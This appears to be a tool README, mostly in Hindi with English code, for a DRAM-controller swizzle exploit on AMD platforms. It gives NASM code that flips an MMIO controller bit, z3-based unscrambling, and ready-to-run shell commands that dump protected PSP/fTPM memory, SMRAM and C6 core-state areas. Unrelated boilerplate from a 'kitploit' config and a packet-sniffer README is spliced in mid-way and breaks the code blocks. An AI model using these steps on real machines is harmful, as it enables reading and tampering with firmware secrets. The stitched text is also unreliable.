*p की ओडिसी

नीचे उतरने का रास्ता लंबा है।

मेमोरी अमूर्तता की इतनी गहरी परतों पर बनी है कि वे लगभग बेतुकी लगने लगती हैं। जब आपका कोड *p को डीरेफ़रेंस करता है, तो ऐसा प्रतीत होता है कि यह p पर DRAM एक्सेस कर रहा है। ऐसा नहीं है — p एक वर्चुअल एड्रेस है, और DRAM का एक भी बिट छूने से पहले, उसे नीचे दी गई परीक्षा से गुज़रना होता है:``` ── CPU core / MMU ───────────────────────────────────────────────── ┌─ VA ← 64-bit virtual address from load/store │ └> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47 ┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE) │ └> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest) hit → physical address k │ miss → engage hardware page walker │ ┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss │ PML5[VA 56:48] ← only if CR4.LA57 │ PML4[VA 47:39] │ PDPT[VA 38:30] ← 1 GiB leaf possible │ PD [VA 29:21] ← 2 MiB leaf possible │ PT [VA 20:12] │ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G │ └> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk privilege (U/S) │ ← CPL vs PTE.U/S write (R/W) │ ← + CR0.WP execute (NX) │ ← EFER.NXE SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC protection keys │ ← PKRU (user) · IA32_PKRS (supervisor) ┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE │ └> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override ⇒ ~5× walks per single guest walk │ ┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs │ │ ── IOMMU (chipset / I/O fabric) ────────────────────────────────── │ └> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables │ ┌── physical address k <─────────────────┘ │ │ ── CPU core / MMU — memory-type resolution ──────────────────────── │ └> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs ┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ] │ └> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC } │ ── CPU uncore — caches & coherence ──────────────────────────────── │ ┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core │ └> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX ┌─ LLC probe + directory consult <────────────┘ ← shared, sliced │ └> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast intra-socket │ ← broadcast to peer cores inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache home-node directory response │ ← data | intervention | abort │ ── system data fabric / interconnect ────────────────────────────── │ ┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn │ → device BAR; done │ └> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore │ ┏━━ ── MCT / IMC (memory controller) ──────────────────────────────── W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM E ┃ │ ┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges ┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel A ┃ │ R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank ┃ │ ┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line E ┃ │ rank → CS map R ┃ │ E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only ┗━━ │ │ DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)

यही है एक्सप्लॉइट। पूरा का पूरा।

DRAM कंट्रोलर में एक बिट-फ्लिप *p पाइपलाइन के निचले हिस्से को फिर से तार-जोड़ देता है, और जो डेटा &x पर था वह अब मिड-फ्लाइट में कहीं और है। अचानक &x != &x। CPU, फर्मवेयर, uncore, और चिपसेट जो भी तंत्र संरक्षित मेमोरी को अलग करने के लिए उपयोग करते हैं, वे सब मेमोरी कंट्रोलर के ऊपर बैठे हैं, और उनमें से कोई भी यह नहीं देखता कि नीचे क्या हो रहा है। फ़ेंस भौतिक पतों की रक्षा करते हैं, DRAM निर्देशांकों की नहीं; निर्देशांकों को पुनर्व्यवस्थित करें और ऊपर की बैरियर कभी ध्यान नहीं देतीं।

लेकिन DRAM को फिर से तार-जोड़ना आसान है। ऊपर वाला बिट DCT में बैंक-स्विज़ल-मोड है, और यह अंतिम परत पर पता रीमैप्स को नियंत्रित करने वाले दर्जनों में से बस एक है — आपको बस उन्हें ठोकना है ताकि ऊपर बनी हर चीज़ गिर जाए। फिर कठिन हिस्सा यह है कि प्लेटफ़ॉर्म को चालू बनाए रखना जबकि पूरी सिस्टम मेमोरी उसके नीचे उलझ जाती है।

तरकीब: तेज़ रहो, और DRAM को मत छुओ। APs को अक्षम करो, TLBs को प्राइम करो, कैश को गर्म करो, इंटरप्ट अक्षम करो, लक्ष्य को फ्लश करो, मेमोरी एक्सेस को सीरियलाइज़ करो, और उम्मीद करो कि CPU ने आने वाले निर्देशों को प्रीफ़ेच कर लिया है। फिर DRAM को स्पैगेटीफ़ाई करने के लिए MCT/DCT को फिर से तार-जोड़ो, संरक्षित क्षेत्र से कुछ डेटा उठाओ, मैपिंग्स को वापस लाओ, फिर से सीरियलाइज़ करो, इंटरप्ट सक्षम करो, APs को फिर से शुरू करो, और प्लेटफ़ॉर्म सामान्य हो जाता है।```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on

यह मेमोरी का सुसंगत दृश्य है: *p पाइपलाइन का सबसे निचला चरण ठीक वैसे ही काम करता है जैसे उसे करना चाहिए।

अब *p के MCT/DCT चरण को xor dword [0xf80c2094], 0x00400000 के साथ पुनःतारित करें, और प्लेटफ़ॉर्म मेमोरी के एक scrambled/spaghettified दृश्य में प्रवेश करता है जहाँ एक भिन्न रूपांतरण एक alias को उसी DRAM रहस्य तक पहुँचने देता है:``` ┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_attacker alias secret

एकमात्र चुनौती यह है कि मैट्रिक्स अज्ञात हैं, जिसका अर्थ है कि हमें कोई जानकारी नहीं है कि मेमोरी वास्तव में कैसे अस्त-व्यस्त की गई है, और शुरुआत में रहस्य तक पहुँचने के लिए उपयोग करने के लिए कोई रूपांतरण नहीं है:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias

Feeding alias pairs to z3 one at a time lets us watch the SMT solver decipher the memory scrambling in real time, as shown in the opening image.

The solved transform is a rosetta stone: any target address in the coherent view maps to an alias that reaches the same DRAM in the spaghettified view. To reach any protected memory, take an address we can't normally touch — PSP private memory, SMRAM, the C6 idle-state — and run it through the transform to get its alias. Then rewire the DCT with xor dword [0xf80c2094], 0x00400000, read or write the alias, and switch back with a second xor. The alias's path through the *p pipeline never hits a fence the platform built for the coherent view — unrestricted access to anything in DRAM.

In the end, everything so carefully walled off — PSP private memory, SMRAM, the C6 idle-state, inaccessible from the OS, ring-0, sometimes the CPU itself — is still sitting in the same DRAM capacitors. But the locks were built around the coherent view of memory, and do nothing against a spaghettified alias reaching the same cell.

Flip one bit in the final level of the *p pipeline, and we've unlocked everything.

Quick start: unlock your Platform Security Processor

Tamper with your PSP, see what happens.

The fTPM runs on the PSP's own ARM core, in a DRAM carveout right past the visible top-of-memory. Reach it by aliasing an OS-visible physical address onto it, pull the bytes out, disassemble.```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /

0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix

matches your DIMMs; one --map per saved map.

eval "$(sudo ./userspace/dram_carveouts --region psp)" sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin

The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp

(0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.

objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin

यह PSP का RSA इंजन है — हर fTPM हस्ताक्षर के पीछे का modexp, और उन कुंजियों को बनाने वाले Miller-Rabin परीक्षणों के पीछे भी — जिसे उस मेमोरी से बाहर निकाला गया है जिसे PSP को अकेले अपने पास रखना चाहिए, मेमोरी कंट्रोलर पर बाड़ लगाकर, ring-0 के लिए भी अपारदर्शी। जैसा उचित समझें, संशोधित करें।

त्वरित शुरुआत: System Management Mode अनलॉक करें

जो SMM छिपाता है, उसे पढ़ें।

SMI हैंडलर एंट्री वेक्टर SMBASE + 0x8000 पर स्थित है। SMBASE MSR 0xc0010111 में है। इसे पढ़ें, alias map के माध्यम से बाइट्स निकालें, और उन्हें सीधे एक disassembler में पाइप करें:```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

sudo modprobe msr

SMBASE is per-core; core 0's lives in MSR 0xc0010111.

SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 ))

Dump the entry vector through the alias map and disassemble on the fly.

SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;

printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.

sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -

Those instructions ring -2 में चलते हैं, जो CPU पर सबसे विशेषाधिकार प्राप्त संदर्भ है, मेमोरी से बाहर जिसे chipset अपठनीय बनाने वाला है। SMRAM "locked" विनम्र सुझाव निकलता है जब हम DRAM controller से सीधे बात कर सकते हैं।

2x4gb को data/maps/ में किसी भी prefix से बदलें जो आपके installed DIMMs से मेल खाता हो (sudo dmidecode -t memory)। यदि आपकी topology वहाँ नहीं है, तो analysis/gather_aliases.py चलाएँ फिर analysis/unspaghettify.py अपना खुद का बनाने के लिए।

Quick start: C6 DRAM unlock करें

मुझे नहीं पता कि यहाँ क्या है और मैंने इसे कभी चर्चा में नहीं देखा, संभवतः internal CPU registers। मज़े करें।

जब cores C6 में power-gate होते हैं, तो प्रत्येक का पूरा x86 architectural context restore के लिए यहाँ रखा जाता है।```sh ./userspace/platform_check || exit 1

Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the

test box). Each idle core's state lives in a 16 KiB save area; four cores

here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.

eval "$(sudo ./userspace/dram_carveouts --region cc6)" sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin

For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.

Read it from all four cores straight out of the stash:

for c in 0 1 2 3; do printf 'core %d ' $c hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1 done

कॉन्फ़िगरेशन

CLI निम्नलिखित स्थानों में कॉन्फ़िगरेशन फ़ाइल की खोज करता है (प्राथमिकता के क्रम में):

1. --config फ़्लैग के माध्यम से निर्दिष्ट पथ
2. $HOME/.config/kitploit/config.yaml
3. $XDG_CONFIG_HOME/kitploit/config.yaml
4. वर्तमान कार्यशील निर्देशिका में ./kitploit.yaml

कॉन्फ़िगरेशन फ़ाइल प्रारूप

पर्यावरण चर

सभी कॉन्फ़िगरेशन विकल्पों को पर्यावरण चर के माध्यम से ओवरराइड किया जा सकता है:

आर्किटेक्चर

योगदान

योगदान का स्वागत है! कृपया सुनिश्चित करें कि आपने पहले पढ़ लिया है:

• योगदान दिशानिर्देश
• आचार संहिता

विकास सेटअप

लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।```text core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor

इसे ज्ञात पैचों से मिलाएँ:```sh

did we find it?

python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF

ucode त्रिक निकालें:```sh od -Ax -tx1 -w20 ucode_ram.bin

2. नेटवर्क ट्रबलशूटिंग

3. नेटवर्क मॉनिटरिंग और विश्लेषण

4. शैक्षिक उद्देश्य

📊 आउटपुट व्याख्या

मानक आउटपुट

विस्तृत आउटपुट (-v फ़्लैग)

🔧 उन्नत कॉन्फ़िगरेशन

कस्टम फ़िल्टर अभिव्यक्तियाँ

Netwatch BPF (Berkeley Packet Filter) सिंटैक्स का समर्थन करता है:

प्रदर्शन अनुकूलन

• विशिष्ट इंटरफ़ेस का उपयोग करें: पूरे सिस्टम की निगरानी के बजाय केवल आवश्यक इंटरफ़ेस को कैप्चर करें
• BPF फ़िल्टर लागू करें: अनावश्यक पैकेट को जल्दी छाँटने के लिए फ़िल्टर का उपयोग करें
• विस्तृत मोड सीमित करें: विस्तृत आउटपुट अधिक CPU का उपयोग करता है
• उचित बफ़र आकार: उच्च-ट्रैफ़िक वातावरण के लिए, सिस्टम बफ़र समायोजित करने पर विचार करें

🛡️ सुरक्षा संबंधी विचार

कानूनी उपयोग

• केवल अधिकृत नेटवर्क की निगरानी करें
• लागू कानूनों और विनियमों का पालन करें
• उचित अनुमति प्राप्त करें
• कैप्चर किए गए डेटा को सुरक्षित रूप से संभालें

डेटा सुरक्षा

• कैप्चर की गई जानकारी में संवेदनशील डेटा हो सकता है
• कैप्चर की गई फ़ाइलों को एन्क्रिप्ट करने पर विचार करें
• कैप्चर किए गए डेटा को सुरक्षित रूप से हटाएँ
• कैप्चर किए गए डेटा तक पहुँच प्रतिबंधित करें

🐛 समस्या निवारण

सामान्य समस्याएँ

त्रुटि: "Permission denied"

त्रुटि: "No such device"

त्रुटि: "Module not found"

कोई पैकेट कैप्चर नहीं हो रहा

• सत्यापित करें कि इंटरफ़ेस सही है
• जाँचें कि फ़िल्टर बहुत प्रतिबंधात्मक तो नहीं है
• सुनिश्चित करें कि रूट/एडमिन विशेषाधिकार हैं
• जाँचें कि इंटरफ़ेस प्रोमिस्क्युअस मोड में है

डीबग मोड

📈 प्रदर्शन संकेतक

🤝 योगदान

योगदान का स्वागत है! कृपया:

1. रिपॉज़िटरी फ़ोर्क करें
2. एक फ़ीचर ब्रांच बनाएँ (git checkout -b feature/AmazingFeature)
3. अपने बदलाव कमिट करें (git commit -m 'Add some AmazingFeature')
4. ब्रांच पर पुश करें (git push origin feature/AmazingFeature)
5. एक पुल रिक्वेस्ट खोलें

📄 लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।

⚠️ अस्वीकरण

यह टूल केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए है। उपयोगकर्ता यह सुनिश्चित करने के लिए ज़िम्मेदार हैं कि उनका उपयोग सभी लागू कानूनों और विनियमों का पालन करता है। डेवलपर्स किसी भी दुरुपयोग या क्षति के लिए उत्तरदायी नहीं हैं।

🙏 आभार

• Scapy - पैकेट मैनिपुलेशन लाइब्रेरी
• सभी योगदानकर्ताओं और उपयोगकर्ताओं को धन्यवाद

📞 संपर्क

• GitHub Issues: समस्याएँ रिपोर्ट करें
• GitHub Discussions: चर्चा में शामिल हों

⭐ अगर आपको यह प्रोजेक्ट उपयोगी लगता है, तो कृपया इसे स्टार दें!```text 000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00 * 0005f0

उपयोग

रूट के रूप में चलाएँ। पूर्ण विवरण USAGE.md में।

dram_read

संरक्षित मेमोरी पते से सरल पठन।

--do-swizzle / --do-bankswap फ्लिप्स को DRAM कंट्रोलर में पुश करें ताकि स्पैगेटिफाइड मेमोरी व्यू में प्रवेश किया जा सके, भौतिक पते <pa> से एक dword पढ़ें, DCT बिट्स को पुनर्स्थापित करें, और मान लौटाएँ।``` dram_read --pa --do-swizzle <0|1> --do-bankswap <0|1>

dram_dump

संरक्षित मेमोरी रेंज से पढ़ें।

dram_poke के समान --map मशीनरी: प्रत्येक मैप unspaghettify.py --save-map से हल किया गया spaghettification है, प्रत्येक dword के लिए alias एक one-shot GF(2) pseudo-inverse के माध्यम से पुनर्प्राप्त किया जाता है, और विभिन्न (at_swizzle, at_bankswap) पर एकत्र किए गए कई मैप कवरेज को बढ़ाते हैं जहाँ एक मैप के rank-deficient छेद दूसरे के द्वारा भरे जाते हैं।``` dram_dump [--dangerously-skip-calibration] [--calibrate-pa ] [--dry-run] [--ignore-fw-mismatch] [--fenced-range ,] [--allow-fenced-alias] -s, --protected-pa -l, --length --map [--map ]...